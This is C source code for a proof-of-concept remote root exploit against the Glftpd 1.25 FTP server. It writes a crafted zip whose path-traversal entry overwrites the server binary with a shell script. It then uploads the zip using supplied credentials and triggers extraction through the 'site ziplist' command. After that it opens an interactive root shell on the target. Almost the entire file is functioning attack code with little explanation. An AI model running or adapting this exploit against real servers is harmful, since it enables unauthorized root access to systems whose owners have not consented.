/* 
Glftpd 1.25 PoC remote root exploit 
appelast [appelast-at-bsquad.sm.pl]

We don't need writable directory to 
upload our file, we change our euid 
before it to 0 :> 

*/

#define TMP_ZIP		"/tmp/kakaka.zip"
#define TMP_CMDS		"/tmp/glcmds"

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>


// shellcode ;)
signed int shellcode[221]={80,75,3,4,10,0,0,0,0,0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,21,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100,85,84,9,0,3,110,35,11,62,-33,99,11,62,85,120,4,0,0,0,0,0,35,33,47,98,105,110,47,115,104,10,115,104,32,45,105,80,75,1,2,23,3,10,0,0,0,0,0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,13,0,0,0,0,0,1,0,0,0,-19,-127,0,0,0,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100,85,84,5,0,3,110,35,11,62,85,120,0,0,80,75,5,6,0,0,0,0,1,0,1,0,96,0,0,0,103,0,0,0,0,0};

void usage(char *progname) {
    printf("Glftpd 1.25 remote root exploit\n"
	   "appelast [appelast-at-bsquad.sm.pl]\n"
	   "usage : %s host port user password\n\n"
	   ,progname);
}

int openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;

   he=gethostbyname(host);

   if (he==NULL) return -1;

   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);

   if (sock==-1) return -1;

   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;

   return sock;
}

void openshell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!\n");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}


int main(int argc, char *argv[]) {
    int fd, i;
    char buf[1024];
    char user[25], pass[25];
    memset(buf,0,1024);
    usage(argv[0]);
    if (argc!=5)
	exit(0);
    snprintf(user, 24,"%s", argv[3]);
    snprintf(pass, 24,"%s", argv[4]);
    
    printf("Creating evil .zip file : ");
    
    fd = open(TMP_ZIP,O_RDWR|O_CREAT|O_TRUNC,0600);
    if (fd<0)
	{
	perror("open");
	exit(0);
	}
    for (i=0; i<221; i++)
	{
	(int)buf[0]=shellcode[i];
	buf[1]=0;
	write(fd,buf,1);
	}
    close(fd);
    printf("DONE\n");
    
    printf("Creating commands file : ");
    
    fd = open(TMP_CMDS,O_RDWR|O_CREAT|O_TRUNC,0600);
    if (fd<0)
	{
	perror("open");
	exit(0);
	}
	
    sprintf(buf,"quote user %s\n"
    "quote pass %s\n"
    "site onel hellou\n"
    "put %s %s\n"
    "site ziplist --l --v -o %s\n"
    "del %s\n", user, pass, TMP_ZIP, strrchr(TMP_ZIP, 0x2f)+1, strrchr(TMP_ZIP, 0x2f)+1, strrchr(TMP_ZIP, 0x2f)+1);
    
    write(fd, buf, strlen(buf));
    close(fd);
    
    printf("DONE\n");
    
    printf("Exploiting ... ");
    
    snprintf(buf, 1023, "ftp -n %s %i < /tmp/glcmds", argv[1], atoi(argv[2])); 
    
    system(buf);
    
    unlink(TMP_ZIP);
    unlink(TMP_CMDS);
    
    printf("DONE\n");
    
    printf("Connecting to rootshell\n");
    
    openshell(openhost(argv[1],atoi(argv[2])));
    
    return 0;
    }
    

